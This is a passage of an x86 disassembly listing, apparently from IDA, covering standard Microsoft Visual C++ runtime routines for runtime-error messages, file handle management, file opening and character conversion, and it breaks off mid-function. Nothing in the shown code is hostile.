		push	0
		call	near ptr 2670000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2620831h
		nop
		push	eax
		nop
		call	near ptr 26F0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2610D26h

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2610D26h

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26107E4h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2680835h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700923h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2660969h

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2680835h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600563h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600563h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		nop
